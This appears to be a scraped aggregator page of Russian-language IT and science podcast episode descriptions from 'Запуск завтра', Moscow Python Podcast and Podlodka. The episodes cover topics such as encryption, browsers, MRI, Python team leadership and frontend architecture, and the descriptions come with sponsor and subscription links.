Пройти наш опрос: https://form.typeform.com/to/e4324Qbq Netflix, Uber и Google тратят огромные бюджеты, постоянно придумывают новые гипотезы и проводят тысячи тестов в год. Но логика A/B тестирования подойдёт не только корпорациях, но любому бизнесу для самых разных задач — от выбора цвета кнопки до оценки целой механики работы сервиса. Разобраться в том, как устроена эта область, как рассчитываются результаты и как автоматизировать весь процесс, Самату помог Виталий Черемисинов — сооснователь компании EXPF. Бесплатный профориентационный курс от Яндекс Практикума: https://clck.ru/sbFyK Подкаст «СОБЕС» с Кирой Кузьменко: https://podcast.ru/1638899174 Компания Виталия: https://expf.ru Книжные…

1 месяц, 1 неделя назад @ zapuskzavtra.libsyn.com
Доверенное железо. Как работает аппаратное шифрование
Доверенное железо. Как работает аппаратное шифрование Доверенное железо. Как работает аппаратное шифрование

Опрос для слушателей: https://form.typeform.com/to/e4324Qbq Продолжаем говорить о криптографии. В этом эпизоде Сергей Агафьин из компании КриптоПро рассказывает о физических носителях, оберегающих нашу информацию. Разбираемся, как создают и взламывают «флешки» с секретными ключами, магнитные карты и огромные модули безопасности, установленные в банках по всему миру. Этот подкаст мы делаем совместно с сервисом онлайн-образования Яндекс.Практикум: https://clck.ru/Pfti2 Рекомендации от Сергея: Книги по смарт-картам, например: «Смарт-карты. Настольная книга разработчика», авторы Т.М. Юргенсен и С.Б. Гатери Книга «Cryptographic engineering», автор Брюс Шнайер Конференции: Black Hat, CCC.de, РусК…

1 месяц, 2 недели назад @ zapuskzavtra.libsyn.com
«Ваше подключение не защищено». Разбираемся в шифровании
«Ваше подключение не защищено». Разбираемся в шифровании «Ваше подключение не защищено». Разбираемся в шифровании

Если мы будем хранить наши переписки, пароли и номера банковских карт в исходном виде, их обязательно перехватят злоумышленники, поэтому данные в интернете шифруются. Но и с передачей зашифрованных сообщений есть проблема — нам нужно быть уверенными в том, что получатель тот, за кого себя выдаёт. Для этого используется развесистая инфраструктура с сертификатами и удостоверяющими центрами. В этом эпизоде Евгений Алексеев, начальник отдела криптографических исследований из компании КриптоПро, рассказывает, как работает шифрование, почему каждая страна стремится создать собственный криптографический алгоритм и почему до сих пор нет гарантированного способа защитить свою информацию. Курсы с инт…

1 месяц, 3 недели назад @ zapuskzavtra.libsyn.com
Как сделан крупнейший сервис по поиску жилья
Как сделан крупнейший сервис по поиску жилья Как сделан крупнейший сервис по поиску жилья

Циан — это IT-команда из 250+ человек и 20 миллионов пользователей, ищущих квартиры ежемесячно. Вместе с техническим директором Алексеем Чекановым разбираемся, благодаря чему компания стала главным игроком на российском рынке недвижимости, как Циан защищает клиентов от мошенников и в чем сложности разработки сервиса такого масштаба. Школы наставников и ревьюеров Яндекс Практикума: https://practicum.yandex.ru/job/?utm_source=pr&utm_medium=podcast&utm_campaign=pr_podcast_job_zapuskzavtra Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться на Либо/Либо+ в Телеграме, куда включены эпизоды «Запуск++»: https://t.me/+LXZx5JRqO4o0MjJi Связаться: [email protected]

2 месяца назад @ zapuskzavtra.libsyn.com
Окно в веб. Как работает браузер
Окно в веб. Как работает браузер Окно в веб. Как работает браузер

30 лет назад ученые из CERN (Европейский Центр ядерных исследований) придумали помещать в текстовый документ ссылки на другие текстовые документы. Из этого вырос первый браузер, а потом и современный веб. Как работает программа, отображающая весь интернет, и кто занимается разработкой этого масштабного проекта? Рассказывает Роман «Кукуц» Иванов, project-менеджер в команде Яндекс Браузера. Партнёр этого эпизода — компания Яндекс. Вместе с сотрудниками Яндекса мы продолжаем разбираться, как устроены популярные сервисы и технологии. Слушайте наши прошлые совместные выпуски про голосового помощника Алису, поисковые системы, маркетплейсы и другие IT-продукты. Почитать больше про браузеры: https:…

2 месяца назад @ zapuskzavtra.libsyn.com
Как хирургия становится роботической
Как хирургия становится роботической Как хирургия становится роботической

Робот DaVinci — это Tesla в мире медицины. Благодаря 3D-окулярам хирурги видят операционное поле так, как никогда раньше, а «руки» робота помогают делать сверхточные разрезы и меньше травмировать ткани. Вместе с оперирующим врачом Давидом Камаловым разбираемся, как машины встают на место медицинских ассистентов и позволяют проводить почти бескровные операции. Посмотреть, как работает робот: https://youtu.be/QksAVT0YMEo Акция от Яндекса: каждый студент, который зарегистрируется по специальной ссылке и купит курс до 31 июля (кроме английского) получит подарок. Ссылка: https://clck.ru/sJwRs Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться в Apple Podcasts на Ли…

2 месяца, 1 неделя назад @ zapuskzavtra.libsyn.com
Как научить алгоритм торговать на бирже
Как научить алгоритм торговать на бирже Как научить алгоритм торговать на бирже

На бирже постоянно что-то происходит, и делать достоверные прогнозы на длинной дистанции умеют немногие. Но чтобы успешно торговать и зарабатывать, это необязательно. Гость сегодняшнего эпизода Эмиль Лернер рассказывает, как его компания создаёт боты для высокочастотной торговли, умеющие за миллисекунды совершать сделки, и как написать алгоритм, приносящий деньги. Регистрация на бесплатный вебинар «Как стать разработчицей» от Яндекс Практикума: https://practicum.yandex.ru/promo/events/girls-developing Фонд Эмиля: https://wunderfund.io Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Подписаться в Apple Podcasts на Либо/Либо+, куда включены эпизоды «Запуск++»: https://cl…

2 месяца, 2 недели назад @ zapuskzavtra.libsyn.com
Как и зачем биотехнологи меняют геномы растений
Как и зачем биотехнологи меняют геномы растений Как и зачем биотехнологи меняют геномы растений

Изменить участок ДНК, чтобы томаты были вкуснее или вырастить горох, который подойдёт для растительного мяса — такие задачи решает биотехнологическая компания Plastilin. Ее CEO Дмитрий Медведев рассказывает, как с помощью генной инженерии появляются новые сорта растений, позволяющие эффективно использовать посевные площади, и почему не стоит бояться генетической модификации. Подробности о курсах по мобильной разработке от Яндекс Практикума: — Android https://clck.ru/rpsyJ — iOS https://clck.ru/rpsu9 Книжная рекомендация от Димы: «Сумма биотехнологии. Руководство по борьбе с мифами о генетической модификации растений, животных и людей», Александр Панчин Шоу Сергея Мезенцева: — Эпизод с Алекс…

2 месяца, 3 недели назад @ zapuskzavtra.libsyn.com
Смарт-контракты. Как устроены договоры, которые невозможно не исполнить
Смарт-контракты. Как устроены договоры, которые невозможно не исполнить Смарт-контракты. Как устроены договоры, которые невозможно не исполнить

Любая сделка, даже с самым надёжным контрагентом, несёт в себе риски. Смарт-контракт помогает обеспечить безопасность договора — его невозможно неправильно истрактовать или повлиять на ход его исполнения. Эта спасительная технология работает с помощью блокчейна. Подробно о ее реализации и подводных камнях Самату рассказал Денис Васин, техдир Waves Enterprise. Бесплатный курс «Подготовка к алгоритмическому собеседованию» от Яндекс Практикума: https://clck.ru/reaUP Книжные рекомендации: «Mastering Bitcoin: Programming the Open Blockchain» и «Mastering Ethereum: Building Smart Contracts and DApps», автор Андреас Антонопулос «How To DeFi»: https://landing.coingecko.com/how-to-defi «How to NFT»:…

2 месяца, 4 недели назад @ zapuskzavtra.libsyn.com
Как работает аппарат МРТ
Как работает аппарат МРТ Как работает аппарат МРТ

МРТ — способ увидеть тело человека изнутри по слоям. В этом эпизоде Андрей Манжурцев, специалист по томографам, рассказывает, как это возможно и на каких принципах построена эта сложнейшая медицинская технология. Разбираемся, что происходит с ядрами водорода внутри пациента, как МРТ может стать еще эффективнее для врачей и почему так мало компаний занимаются производством МРТ-машин. Новый бесплатный курс Яндекс Практикума по основам Go: https://clck.ru/rbeTP Подкаст «Любить нельзя воспитывать» с Димой Зицером: https://podcast.ru/1622007687 Книжная рекомендация от Андрея: Эварт Блинк «Основы магнитно-резонансной томографии» Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQ…

3 месяца назад @ zapuskzavtra.libsyn.com
«Хакер». Как появилось культовое медиа для айтишников
«Хакер». Как появилось культовое медиа для айтишников «Хакер». Как появилось культовое медиа для айтишников

В конце 90-х журнал «Хакер» стал для многих проводником в мир технологий. Подростки скупали все тиражи в ларьках и зачитывались хулиганскими статьями о взломах (и Самат тоже!). В этом эпизоде основатель журнала Дмитрий Агарунов вспоминает, как он с командой создал контркультурный проект, показавший всем, что IT — это круто. Курс Яндекс Практикума по математике для анализа данных: https://clck.ru/qkAVb Первый номер «Хакера»: https://xakep.ru/issues/xa/001/ Статьи по рекомендации гостя: https://xakep.ru/2022/02/11/china-smartphones-spy/ https://xakep.ru/2022/01/12/log4hell/ Подписаться на «Запуск++» в Телеграме: https://t.me/+N_AopnXC0dBkMGQy Связаться: [email protected] Редакторка — Маш…

3 месяца, 1 неделя назад @ zapuskzavtra.libsyn.com
Как производятся ноутбуки
Как производятся ноутбуки Как производятся ноутбуки

Когда в 2008 году Стив Джобс презентовал первый MacBook Air от Apple, публика пришла в восторг — ноутбук был тонкий, легкий и стильный. Сейчас этим уже никого не увидишь, и ноутбуки заменили для большинства из нас стационарные компьютеры. Но как производители смогли уместить все составляющие и функционал громоздких десктопов в маленькую коробочку? Разбираемся вместе с Борисом Миттельбергом — программистом из компании Google, который участвует в разработке высокопроизводительных ноутбуков. Подробности про два курса от Яндекс Практикума, на которых можно обучиться на тестировщика с нуля: https://clck.ru/py7AL Почитать о хромбуках: https://www.google.com/chromebook/ Сайт с обзорами и сравнения…

3 месяца, 2 недели назад @ zapuskzavtra.libsyn.com
Приватность в Интернете. Как обезопасить себя от утечек
Приватность в Интернете. Как обезопасить себя от утечек Приватность в Интернете. Как обезопасить себя от утечек

Вы удивитесь, сколько всего о вас знают компании. Google, например, хранит все данные о пользователях за последние 20 лет. При этом беспроигрышного варианта хранения информации просто не существует — неминуемо случаются утечки и в сеть попадают персональные данные миллионов людей, чем, конечно, пользуются мошенники. В этом эпизоде Самат говорит с Кори Доктороу, активистом в области цифрового права и автором научно-фантастических книг. Кори рассказал, что могут делать компании, чтобы не допускать утечек, и как пользователям обезопасить себя в интернете. Ссылка на курс от Яндекс Практикума «Тестирование веб-сервисов на Python»: https://practicum.yandex.ru/qa-automation-web-python/?utm_source=…

3 месяца, 3 недели назад @ zapuskzavtra.libsyn.com
Как происходит обмен медицинскими данными
Как происходит обмен медицинскими данными Как происходит обмен медицинскими данными

Тысячи медицинских учреждений обособленно собирают и хранят огромный массив информации. Как они могут удобно общаться между собой? Николай Рыжиков из Health Samurai рассказал, как информационные системы в медицине становятся интероперабельными и как в этом помогают протоколы передачи данных, а ещё поделился опытом перевода целого региона России на современный стандарт FHIR. 30 мая с 17:00 день открытых дверей программирования от Яндекс Практикума https://yandexpraktikum.timepad.ru/event/2042646/utm_source=pr&utm_medium=content&utm_campaign=pr_content_dod30may2022_zapuskzavtra 6:10 В чем проблема бумажных медицинских карт 11:50 Как в России устроен рынок медицинских информационных систем 20:…

4 месяца назад @ zapuskzavtra.libsyn.com
Moscow Python Podcast Moscow Python Podcast
последний пост 20 часов назад
Open Source и Data Science (level: all)
Open Source и Data  Science (level: all) Open Source и Data Science (level: all)

В гостях у Moscow Python Podcast руководитель разработки Data Science компании Avito Олег Бугримов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

20 часов назад @ learnpython.podbean.com
Выгорание и токсичность (level: all)
Выгорание и токсичность (level: all) Выгорание и токсичность (level: all)

В гостях у Moscow Python Podcast VP of Engineering Константин Волков. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

1 неделя, 6 дней назад @ learnpython.podbean.com
Про тимлидство (level: all)
Про тимлидство (level: all) Про тимлидство (level: all)

В гостях у Moscow Python Podcast Руководитель разработки компании IVA Technologies Александр Ковалев. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

1 месяц назад @ learnpython.podbean.com
Про Хакатоны (level: all)
Про Хакатоны (level: all) Про Хакатоны (level: all)

В гостях у Moscow Python Podcast Lead of HR Community Skolkovo Алиса Цапкова. Обсудили с Алисой зачем нужны хакатоны, советы и лайфхаки участникам хакатонов. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Skolkovo Hack 2022: https://codenrock.com/contests/skolkovo-hack-2022 Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за руб…

1 месяц, 1 неделя назад @ learnpython.podbean.com
Из разработки в DevOps (level: all)
Из разработки в DevOps (level: all) Из разработки в DevOps (level: all)

В гостях у Moscow Python Podcast Python Senior DevOps компании CLS Global Игорь Перепелицын. Обсудили с Игорем его путь в разработке, GitOps и как деплоиться без Kubernetes. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

1 месяц, 4 недели назад @ learnpython.podbean.com
CI/CD и культура DevOps (level: all)
CI/CD и культура DevOps (level: all) CI/CD и культура DevOps (level: all)

В гостях у Moscow Python Podcast Python Team Lead компании Райффайзенбанк Денис Аникин. Обсудили с Денисом какие способы деплоя Python приложения в прод сейчас есть. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geek…

2 месяца назад @ learnpython.podbean.com
Redis, сова и глобус (level: all)
Redis, сова и глобус (level: all) Redis, сова и глобус (level: all)

В гостях у Moscow Python Podcast Python CTO проекта Speechki Павел Мальцев. Поговорили с Павлом о том, как и когда использовать Redis, какие там есть структуры данных и когда они будут полезны. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж…

2 месяца, 2 недели назад @ learnpython.podbean.com
L и DataOps (level: all)
L и DataOps (level: all) L и DataOps (level: all)

В гостях у Moscow Python Podcast Python ML и DataOps lead компании Gett Семён Осипов. Поговорили с Семёном о его пути в разработке и что такое ML и DataOps и зачем он нужен. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: http…

2 месяца, 3 недели назад @ learnpython.podbean.com
Английский для разработчиков (level: all)
Английский для разработчиков (level: all) Английский для разработчиков (level: all)

В гостях у Moscow Python Podcast Python руководитель команды методистов на курсе Английский для разработчиков компании Яндекс.Практикум Маруся Горина и Python разработчик Лариса Петрова. Обсудили с Марусей и Ларисой какой уровень английского нужен разработчику. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week)…

3 месяца назад @ learnpython.podbean.com
Путь от джуна до тимлида (level: all)
Путь от джуна до тимлида (level: all) Путь от джуна до тимлида (level: all)

В гостях у Moscow Python Podcast Python Team lead компании VK Group Юрий Орлов. Обсудили с Юрием его путь в программировании от джуна до тимлида. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Pycon Russia: https://pycon.ru/ Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/internatio…

3 месяца, 1 неделя назад @ learnpython.podbean.com
Как быть техлидом (level: senior)
Как быть техлидом (level: senior) Как быть техлидом (level: senior)

В гостях у Moscow Python Podcast Python руководитель группы разработки компании MTS AI Сурен Хоренян. Поговорили с Суреном о том, как быть техлидом и не мешать разработчикам. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https://geekfactor.io/international

3 месяца, 3 недели назад @ learnpython.podbean.com
Инсайды с конференций (level: all)
Инсайды с конференций (level: all) Инсайды с конференций (level: all)

В гостях у Moscow Python Podcast Python специалист по решению сложных технологических задач Александр Боргардт. Обсудили с Александром зачем устраивают конференции и как получить от них максимум пользы. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа помощи в трудоустройстве за рубеж от Geekfactor: https:/…

4 месяца назад @ learnpython.podbean.com
Domain Driven Design (level: all)
Domain Driven Design (level: all) Domain Driven Design (level: all)

В гостях у Moscow Python Podcast Python руководитель разработки компании МЕДСИ Digital Николай Фоминых. Обсудили с Николаем, что такое DDD, зачем оно нужно и как применяют в МЕДСИ. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский, Team Lead NVIDIA Злата Обуховская и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Конференция Merge: https://Mergeconf.ru Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа пом…

4 месяца, 1 неделя назад @ learnpython.podbean.com
Про генерацию кода (level: all)
Про генерацию кода (level: all) Про генерацию кода (level: all)

В гостях у Moscow Python Podcast Python руководитель разработки компании Магнит Антон Огородников. Обсудили с Антоном, как в Магните используют генерацию кода из OpenAPI спецификации, сбор метрик и как обстоят дела с генерацией кода в Python и Go. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский, Team Lead NVIDIA Злата Обуховская и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://c…

4 месяца, 4 недели назад @ learnpython.podbean.com
Из проектирования в разработчики (level: all)
Из проектирования в разработчики (level: all) Из проектирования в разработчики (level: all)

В гостях у Moscow Python Podcast Python QA-инженер компании Genesys Юрий Польников. Обсудили с Юрием его путь из инженера в сфере строительства и преподавателя в разработчики. Ведущие выпуска — сооснователь MoscowPython и компании Geekfactor.io Валентин Домбровский, Team Lead NVIDIA Злата Обуховская и DevRel компании Evrone, руководитель программного комитета Moscow Python Conf++ Григорий Петров. Конференция Index-tech: https://index-tech.ru Все выпуски: https://rebrand.ly/pythonpodcasta6ffe Митапы MoscowPython: https://rebrand.ly/pythonmeetupf6315 Курс Learn Python: https://rebrand.ly/learnpythondc288 Конференция Moscow Python Conf (Russian Python Week): https://conf.python.ru Программа по…

5 месяцев, 1 неделя назад @ learnpython.podbean.com
Podlodka Podcast Podlodka Podcast
последний пост 1 неделя назад
Podlodka #286 – Архитектура фронтенда
Podlodka #286 – Архитектура фронтенда Podlodka #286 – Архитектура фронтенда

С Сергеем Совой детально разобрали о чем думают в контексте архитектуры на фронте. Какие есть абстракции, какие есть подходы, как они между собой связаны. В первой части поговорили в верхнеуровневом разрезе уровня флоу данных, а во второй про низкоуровневые компоненты – кэши, хранилища, верстка и другие. Разверните отказоустойчивую инфраструктуру в Selectel и защитите ваш сайт или приложение от сбоев: https://slc.tl/3qir8

Реклама, ООО «Селектел» Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/po…

1 неделя назад @ soundcloud.com
Podlodka #285 – Профессия: CPO
Podlodka #285 – Профессия: CPO Podlodka #285 – Профессия: CPO

Стремительно идем к тому, чтобы ни одна C-level должность не осталась без нашего внимания! На сей раз вместе с Евгением Емельяновым разбираемся в том, чем занимается CPO, и как эта роль меняется в зависимости от компании. Бесплатный месяц доступа к подписке Epic+ по промокоду EPICLODKA для слушателей подкаста. Подборка контента от команды Подлодки: https://my.epicgrowth.ru/programs/podlodka?category_id=83508 А по промокоду PODLODKA_GROWTH получите скидку на второй сезон нашей совместной с Epic Growth онлайн-конференции Podlodka Product Crew! Тема сезона — «Продуктовая аналитика». https://podlodka.io/productcrew Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши ла…

2 недели назад @ soundcloud.com
Podlodka #284 – NDA и коммерческая тайна
Podlodka #284 – NDA и коммерческая тайна Podlodka #284 – NDA и коммерческая тайна

Знали ли вы, что требования вашего РФ работодателя не разглашать зарплату "потому что NDA" не имеют никакого юридического основания? Или то, что огромные штрафы, прописанные за нарушение NDA в РФ компаниях — это зачастую просто способ запугать сотрудника? Что, если вы работаете в оупен-спейсе, а кто-то подглядел ваш секретный алгоритм (парсинга JSON-а), который был коммерческой тайной? А что вообще может и не может составлять коммерческую тайну и какая ответственность грозит за ее разглашение? Так много вопросов! Найти на них ответы и прокачаться в знании своих прав нам помогли ведущий юрисконсульт EdgeCenter и эксперт в области data protection Татьяна Красногорская, а также лучший друг тим…

3 недели назад @ soundcloud.com
Podlodka #283 – Диски и носители, часть 2
Podlodka #283 – Диски и носители, часть 2 Podlodka #283 – Диски и носители, часть 2

В первой части мы разобрались с железом, а в этот раз перешли к софту! Разбираемся в том, что происходит под капотом, когда вы у себя в коде работаете с файлами на диске, и как можно эту работу оптимизировать. Рассказывает снова Руслан Савченко из Яндекса! В ВТБ действует программа поддержки IT-специалистов, благодаря которой представители этой сферы смогут оформить ипотеку по ставке от 4.7% годовых. Подробнее об условиях по ссылке: https://bit.ly/3pNPY7n Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.faceb…

3 недели, 6 дней назад @ soundcloud.com
Podlodka #282 – Nim, часть 1
Podlodka #282 – Nim, часть 1 Podlodka #282 – Nim, часть 1

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром мы разбираемся с лучшим языком программирования – Nim. В первой части мы разбираем основную философию и концепции языка, оставив на будущее продвинутые возможности, экосистему и применение в продакшне. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka

Telegram-канал: https://t.me/podlodkanews

Страница в Facebook: www.facebook.com/podlodkacast/

Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Евгений Кателла, Катя Петрова, Егор Толстой Полезные ссылки:

Сайт языка

https:…

1 месяц назад @ soundcloud.com
Podlodka #282 – Nim, часть 1
Podlodka #282 – Nim, часть 1 Podlodka #282 – Nim, часть 1

Efficient as C, Expressive as Python, Elegant as Lisp. В этом выпуске вместе с Гавром мы разбираемся с лучшим языком программирования – Nim. В первой части мы разбираем основную философию и концепции языка, оставив на будущее продвинутые возможности, экосистему и применение в продакшне. Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka

Telegram-канал: https://t.me/podlodkanews

Страница в Facebook: www.facebook.com/podlodkacast/

Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Евгений Кателла, Катя Петрова, Егор Толстой Полезные ссылки:

Сайт языка

https:…

1 месяц назад @ soundcloud.com
Podlodka #281 – Коучинг
Podlodka #281 – Коучинг Podlodka #281 – Коучинг

Почему ты думаешь, что прослушивание выпуска про коучинг будет тебе полезно? Что ты ожидаешь по окончанию выпуска? Что из себя представляет коуч-сессия и чем этот инструмент может быть полезен в повседневной жизни? Чем коучинг отличается от задавания бесконечной серии вопросов? На эти и другие вопросы нам помогла ответить профессиональный трансформационный коуч Карина Дозорнова. Регистрируйтесь и используйте объектное хранилище Selectel для хранения неструктурированных данных. Первый месяц — бесплатно: https://slc.tl/3u8ux Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Tel…

1 месяц, 1 неделя назад @ soundcloud.com
Podlodka #280 – Тестирование умных устройств
Podlodka #280 – Тестирование умных устройств Podlodka #280 – Тестирование умных устройств

Когда речь заходит об умных устройствах и голосовых помощниках, стандартными инструментами и практиками тестирования уже не обойтись. Сложности начинаются еще на этапе набора сценариев для тестирования: существует далеко не один способ попросить Алису включить любимый трек с утра. А что уж говорить об оценке результатов — например, как оценить качество рассказанного колонкой анекдота? 🤡 В этом выпуске вместе с инженером по тестированию в команде Алисы Клавдией Осенниковой разбираемся, как тестируются многокомпонентные системы со сложной структурой бекендов и какие неочевидности есть в тестировании умных девайсов. Заполняйте заявку и получите скидку 25% на год использования инфраструктуры Se…

1 месяц, 2 недели назад @ soundcloud.com
Podlodka #279 – Тьюринг-полнота
Podlodka #279 – Тьюринг-полнота Podlodka #279 – Тьюринг-полнота

В мире разработки есть несколько понятий, которые постоянно всплывают в разговорах, но при этом лишь единицы действительно хорошо понимают их значение. Полнота по Тьюрингу – одно из таких понятий. К счастью, наш гость, Виталий Брагилевский, один из тех, кто и понимает, и может отлично объяснить! Посмотреть вакансии в финтех-компании Точка: https://tchk.me/xTsmeq Поддержи лучший подкаст про IT:

www.patreon.com/podlodka Также ждем вас, ваши лайки, репосты и комменты в мессенджерах и соцсетях! Telegram-чат: https://t.me/podlodka Telegram-канал: https://t.me/podlodkanews Страница в Facebook: www.facebook.com/podlodkacast/ Twitter-аккаунт: https://twitter.com/PodlodkaPodcast Ведущие в выпуске:

Ж…

1 месяц, 3 недели назад @ soundcloud.com
Podlodka #278 – Технический PR
Podlodka #278 – Технический PR Podlodka #278 – Технический PR

Зачем компании проводят у себя митапы, уговаривают разработчиков выступать и писать статьи? Как работает технический PR? Обо всем этом поговорили с руководителем техпиара Авито Михаилом Клюевым. Оставляйте заявку на сайте Selectel и экономьте на штатных DevOps-инженерах: https://slc.tl/8j5a4 Поддержи лучший подкаст про IT:

